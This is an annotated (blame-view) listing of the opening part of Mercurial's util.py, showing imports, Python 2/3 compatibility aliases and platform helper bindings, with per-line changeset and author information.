mercurial/util.py
author Yuya Nishihara <yuya@tcha.org>
Thu, 01 Mar 2018 18:22:36 -0500
changeset 36588 281f66777ff0
parent 36585 26a6b62919e2
child 36607 c6061cadb400
permissions -rw-r--r--
py3: silence "bad escape" warning emitted by re.sub() Since we pass user strings directly to re.sub(), we can't avoid this warning without a BC.
Ignore whitespace changes - Everywhere: Within whitespace: At end of lines:
17515
b5b38d21fe99 spelling: specific
timeless@mozdev.org
parents: 17237
diff changeset
     1
# util.py - Mercurial utility functions and platform specific implementations
8226
8b2cd04a6e97 put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents: 8225
diff changeset
     2
#
8b2cd04a6e97 put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents: 8225
diff changeset
     3
#  Copyright 2005 K. Thananchayan <thananck@yahoo.com>
8b2cd04a6e97 put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents: 8225
diff changeset
     4
#  Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
8b2cd04a6e97 put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents: 8225
diff changeset
     5
#  Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
8b2cd04a6e97 put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents: 8225
diff changeset
     6
#
8b2cd04a6e97 put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents: 8225
diff changeset
     7
# This software may be used and distributed according to the terms of the
10263
25e572394f5c Update license to GPLv2+
Matt Mackall <mpm@selenic.com>
parents: 9996
diff changeset
     8
# GNU General Public License version 2 or any later version.
1082
ce96e316278a Update util.py docstrings, fix walk test
mpm@selenic.com
parents: 1081
diff changeset
     9
17515
b5b38d21fe99 spelling: specific
timeless@mozdev.org
parents: 17237
diff changeset
    10
"""Mercurial utility functions and platform specific implementations.
1082
ce96e316278a Update util.py docstrings, fix walk test
mpm@selenic.com
parents: 1081
diff changeset
    11
8227
0a9542703300 turn some comments back into module docstrings
Martin Geisler <mg@lazybytes.net>
parents: 8226
diff changeset
    12
This contains helper routines that are independent of the SCM core and
0a9542703300 turn some comments back into module docstrings
Martin Geisler <mg@lazybytes.net>
parents: 8226
diff changeset
    13
hide platform-specific details from the core.
1082
ce96e316278a Update util.py docstrings, fix walk test
mpm@selenic.com
parents: 1081
diff changeset
    14
"""
419
28511fc21073 [PATCH] file seperator handling for the other 'OS'
mpm@selenic.com
parents:
diff changeset
    15
34137
a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents: 34134
diff changeset
    16
from __future__ import absolute_import, print_function
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    17
33793
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
    18
import abc
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    19
import bz2
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    20
import calendar
31453
3b7a6941a6ef py3: call codecs.escape_encode() directly
Yuya Nishihara <yuya@tcha.org>
parents: 31451
diff changeset
    21
import codecs
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    22
import collections
33446
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
    23
import contextlib
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    24
import datetime
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    25
import errno
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    26
import gc
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    27
import hashlib
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    28
import imp
36432
1ca4e86c7265 util: handle fileno() on Python 3 throwing io.UnsupportedOperation
Augie Fackler <augie@google.com>
parents: 36422
diff changeset
    29
import io
34554
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
    30
import itertools
34295
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
    31
import mmap
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    32
import os
30418
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
    33
import platform as pyplatform
21907
7e5dfa00e3c2 util: rename 're' to 'remod'
Siddharth Agarwal <sid0@fb.com>
parents: 21857
diff changeset
    34
import re as remod
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    35
import shutil
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    36
import signal
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    37
import socket
30418
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
    38
import stat
30054
8b89521a69ba util: use string.hexdigits instead of defining it ourselves
Augie Fackler <augie@google.com>
parents: 30053
diff changeset
    39
import string
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    40
import subprocess
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    41
import sys
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    42
import tempfile
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    43
import textwrap
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    44
import time
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    45
import traceback
31950
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
    46
import warnings
26266
1e042e31bd0c changegroup: move all compressions utilities in util
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 26201
diff changeset
    47
import zlib
3769
96095d9ff1f8 Add encoding detection
Matt Mackall <mpm@selenic.com>
parents: 3767
diff changeset
    48
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    49
from . import (
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    50
    encoding,
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    51
    error,
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    52
    i18n,
35582
72b91f905065 py3: use node.hex(h.digest()) instead of h.hexdigest()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 35513
diff changeset
    53
    node as nodemod,
32367
a9c71d578a1c osutil: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents: 32306
diff changeset
    54
    policy,
28818
6041fb8f2da8 pycompat: add empty and queue to handle py3 divergence
timeless <timeless@mozdev.org>
parents: 28497
diff changeset
    55
    pycompat,
34467
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents: 34435
diff changeset
    56
    urllibcompat,
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    57
)
3769
96095d9ff1f8 Add encoding detection
Matt Mackall <mpm@selenic.com>
parents: 3767
diff changeset
    58
32368
008d37c4d783 base85: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents: 32367
diff changeset
    59
base85 = policy.importmod(r'base85')
32367
a9c71d578a1c osutil: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents: 32306
diff changeset
    60
osutil = policy.importmod(r'osutil')
32372
df448de7cf3b parsers: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents: 32368
diff changeset
    61
parsers = policy.importmod(r'parsers')
32367
a9c71d578a1c osutil: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents: 32306
diff changeset
    62
32201
4462a981e8df base85: proxy through util module
Yuya Nishihara <yuya@tcha.org>
parents: 32154
diff changeset
    63
b85decode = base85.b85decode
4462a981e8df base85: proxy through util module
Yuya Nishihara <yuya@tcha.org>
parents: 32154
diff changeset
    64
b85encode = base85.b85encode
4462a981e8df base85: proxy through util module
Yuya Nishihara <yuya@tcha.org>
parents: 32154
diff changeset
    65
31934
12aca6770046 util: make cookielib module available
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31878
diff changeset
    66
cookielib = pycompat.cookielib
30471
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents: 30442
diff changeset
    67
empty = pycompat.empty
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents: 30442
diff changeset
    68
httplib = pycompat.httplib
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents: 30442
diff changeset
    69
pickle = pycompat.pickle
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents: 30442
diff changeset
    70
queue = pycompat.queue
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents: 30442
diff changeset
    71
socketserver = pycompat.socketserver
30472
277f4fe6d01a py3: provide bytes stdin/out/err through util module
Yuya Nishihara <yuya@tcha.org>
parents: 30471
diff changeset
    72
stderr = pycompat.stderr
277f4fe6d01a py3: provide bytes stdin/out/err through util module
Yuya Nishihara <yuya@tcha.org>
parents: 30471
diff changeset
    73
stdin = pycompat.stdin
277f4fe6d01a py3: provide bytes stdin/out/err through util module
Yuya Nishihara <yuya@tcha.org>
parents: 30471
diff changeset
    74
stdout = pycompat.stdout
30471
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents: 30442
diff changeset
    75
stringio = pycompat.stringio
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents: 30442
diff changeset
    76
xmlrpclib = pycompat.xmlrpclib
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
    77
34467
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents: 34435
diff changeset
    78
httpserver = urllibcompat.httpserver
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents: 34435
diff changeset
    79
urlerr = urllibcompat.urlerr
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents: 34435
diff changeset
    80
urlreq = urllibcompat.urlreq
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents: 34435
diff changeset
    81
32572
377c74ef008d win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 31952
diff changeset
    82
# workaround for win32mbcs
377c74ef008d win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 31952
diff changeset
    83
_filenamebytestr = pycompat.bytestr
377c74ef008d win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 31952
diff changeset
    84
30876
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
    85
def isatty(fp):
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
    86
    try:
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
    87
        return fp.isatty()
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
    88
    except AttributeError:
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
    89
        return False
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
    90
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
    91
# glibc determines buffering on first write to stdout - if we replace a TTY
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
    92
# destined stdout with a pipe destined stdout (e.g. pager), we want line
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
    93
# buffering
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
    94
if isatty(stdout):
30988
d194f0dba7ac py3: convert the mode argument of os.fdopen to unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30975
diff changeset
    95
    stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
30876
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
    96
34645
75979c8d4572 codemod: use pycompat.iswindows
Jun Wu <quark@fb.com>
parents: 34554
diff changeset
    97
if pycompat.iswindows:
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
    98
    from . import windows as platform
30876
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
    99
    stdout = platform.winstdout(stdout)
14912
ec46a7da9f2c util: move windows and posix wildcard imports to begin of file
Adrian Buehlmann <adrian@cadifra.com>
parents: 14911
diff changeset
   100
else:
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
   101
    from . import posix as platform
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   102
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
   103
_ = i18n._
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   104
29530
3239e2fdd2e2 chgserver: extract utility to bind unix domain socket to long path
Yuya Nishihara <yuya@tcha.org>
parents: 29455
diff changeset
   105
bindunixsocket = platform.bindunixsocket
14927
2aa3e07b2f07 posix, windows: introduce cachestat
Idan Kamara <idankk86@gmail.com>
parents: 14926
diff changeset
   106
cachestat = platform.cachestat
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   107
checkexec = platform.checkexec
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   108
checklink = platform.checklink
15011
5e44e4b3a0a3 util: move copymode into posix.py and windows.py
Adrian Buehlmann <adrian@cadifra.com>
parents: 15010
diff changeset
   109
copymode = platform.copymode
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   110
executablepath = platform.executablepath
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   111
expandglobs = platform.expandglobs
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   112
explainexit = platform.explainexit
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   113
findexe = platform.findexe
35513
c4caf530b1c7 util: add a function to show the mount point of the filesystem
Matt Harbison <matt_harbison@yahoo.com>
parents: 35511
diff changeset
   114
getfsmountpoint = platform.getfsmountpoint
35509
beede158ea8a util: move getfstype() to the platform modules
Matt Harbison <matt_harbison@yahoo.com>
parents: 35460
diff changeset
   115
getfstype = platform.getfstype
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   116
gethgcmd = platform.gethgcmd
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   117
getuser = platform.getuser
28027
14033c5dd261 util: enable getpid to be replaced
timeless <timeless@mozdev.org>
parents: 27785
diff changeset
   118
getpid = os.getpid
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   119
groupmembers = platform.groupmembers
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   120
groupname = platform.groupname
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   121
hidewindow = platform.hidewindow
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   122
isexec = platform.isexec
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   123
isowner = platform.isowner
32208
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32201
diff changeset
   124
listdir = osutil.listdir
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   125
localpath = platform.localpath
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   126
lookupreg = platform.lookupreg
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   127
makedir = platform.makedir
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   128
nlinks = platform.nlinks
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   129
normpath = platform.normpath
15488
6eff984d8e76 dirstate: fix case-folding identity for traditional Unix
Matt Mackall <mpm@selenic.com>
parents: 15392
diff changeset
   130
normcase = platform.normcase
24605
98744856b7d3 util: add normcase spec and fallback
Siddharth Agarwal <sid0@fb.com>
parents: 24439
diff changeset
   131
normcasespec = platform.normcasespec
98744856b7d3 util: add normcase spec and fallback
Siddharth Agarwal <sid0@fb.com>
parents: 24439
diff changeset
   132
normcasefallback = platform.normcasefallback
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   133
openhardlinks = platform.openhardlinks
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   134
oslink = platform.oslink
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   135
parsepatchoutput = platform.parsepatchoutput
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   136
pconvert = platform.pconvert
25420
c2ec81891502 util: add a simple poll utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25406
diff changeset
   137
poll = platform.poll
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   138
popen = platform.popen
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   139
posixfile = platform.posixfile
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   140
quotecommand = platform.quotecommand
22245
234e4c24b980 platform: implement readpipe()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 21914
diff changeset
   141
readpipe = platform.readpipe
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   142
rename = platform.rename
24692
144883a8d0d4 util: add removedirs as platform depending function
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 24635
diff changeset
   143
removedirs = platform.removedirs
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   144
samedevice = platform.samedevice
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   145
samefile = platform.samefile
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   146
samestat = platform.samestat
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   147
setbinary = platform.setbinary
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   148
setflags = platform.setflags
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   149
setsignalhandler = platform.setsignalhandler
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   150
shellquote = platform.shellquote
36415
0cb09c322647 util: factor out shellsplit() function
Yuya Nishihara <yuya@tcha.org>
parents: 36362
diff changeset
   151
shellsplit = platform.shellsplit
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   152
spawndetached = platform.spawndetached
17560
9ee25d7b1aed util: implement a faster os.path.split for posix systems
Bryan O'Sullivan <bryano@fb.com>
parents: 17537
diff changeset
   153
split = platform.split
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   154
sshargs = platform.sshargs
18026
ddc0323db78b osutil: write a C implementation of statfiles for unix
Bryan O'Sullivan <bryano@fb.com>
parents: 18013
diff changeset
   155
statfiles = getattr(osutil, 'statfiles', platform.statfiles)
18868
cafa447a7d3b util: add functions to check symlink/exec bits
Bryan O'Sullivan <bryano@fb.com>
parents: 18775
diff changeset
   156
statisexec = platform.statisexec
cafa447a7d3b util: add functions to check symlink/exec bits
Bryan O'Sullivan <bryano@fb.com>
parents: 18775
diff changeset
   157
statislink = platform.statislink
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   158
testpid = platform.testpid
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   159
umask = platform.umask
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   160
unlink = platform.unlink
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
   161
username = platform.username
14912
ec46a7da9f2c util: move windows and posix wildcard imports to begin of file
Adrian Buehlmann <adrian@cadifra.com>
parents: 14911
diff changeset
   162
32208
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32201
diff changeset
   163
try:
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32201
diff changeset
   164
    recvfds = osutil.recvfds
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32201
diff changeset
   165
except AttributeError:
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32201
diff changeset
   166
    pass
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32201
diff changeset
   167
try:
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32201
diff changeset
   168
    setprocname = osutil.setprocname
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32201
diff changeset
   169
except AttributeError:
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32201
diff changeset
   170
    pass
35460
8652ab4046e4 osutil: add a function to unblock signals
Jun Wu <quark@fb.com>
parents: 35145
diff changeset
   171
try:
8652ab4046e4 osutil: add a function to unblock signals
Jun Wu <quark@fb.com>
parents: 35145
diff changeset
   172
    unblocksignal = osutil.unblocksignal
8652ab4046e4 osutil: add a function to unblock signals
Jun Wu <quark@fb.com>
parents: 35145
diff changeset
   173
except AttributeError:
8652ab4046e4 osutil: add a function to unblock signals
Jun Wu <quark@fb.com>
parents: 35145
diff changeset
   174
    pass
32208
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32201
diff changeset
   175
6470
ac0bcd951c2c python 2.6 compatibility: compatibility wrappers for hash functions
Dirkjan Ochtman <dirkjan@ochtman.nl>
parents: 6339
diff changeset
   176
# Python compatibility
3769
96095d9ff1f8 Add encoding detection
Matt Mackall <mpm@selenic.com>
parents: 3767
diff changeset
   177
15656
4f5a78fa4917 util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents: 15611
diff changeset
   178
_notset = object()
4f5a78fa4917 util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents: 15611
diff changeset
   179
27015
341cb90ffd18 util: disable floating point stat times (issue4836)
Matt Mackall <mpm@selenic.com>
parents: 26847
diff changeset
   180
# disable Python's problematic floating point timestamps (issue4836)
341cb90ffd18 util: disable floating point stat times (issue4836)
Matt Mackall <mpm@selenic.com>
parents: 26847
diff changeset
   181
# (Python hypocritically says you shouldn't change this behavior in
341cb90ffd18 util: disable floating point stat times (issue4836)
Matt Mackall <mpm@selenic.com>
parents: 26847
diff changeset
   182
# libraries, and sure enough Mercurial is not a library.)
341cb90ffd18 util: disable floating point stat times (issue4836)
Matt Mackall <mpm@selenic.com>
parents: 26847
diff changeset
   183
os.stat_float_times(False)
341cb90ffd18 util: disable floating point stat times (issue4836)
Matt Mackall <mpm@selenic.com>
parents: 26847
diff changeset
   184
15656
4f5a78fa4917 util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents: 15611
diff changeset
   185
def safehasattr(thing, attr):
4f5a78fa4917 util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents: 15611
diff changeset
   186
    return getattr(thing, attr, _notset) is not _notset
4f5a78fa4917 util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents: 15611
diff changeset
   187
35900
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   188
def _rapply(f, xs):
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   189
    if xs is None:
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   190
        # assume None means non-value of optional data
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   191
        return xs
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   192
    if isinstance(xs, (list, set, tuple)):
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   193
        return type(xs)(_rapply(f, x) for x in xs)
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   194
    if isinstance(xs, dict):
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   195
        return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   196
    return f(xs)
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   197
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   198
def rapply(f, xs):
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   199
    """Apply function recursively to every item preserving the data structure
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   200
72de5c504833 py3: factor out helpers to apply string conversion recursively
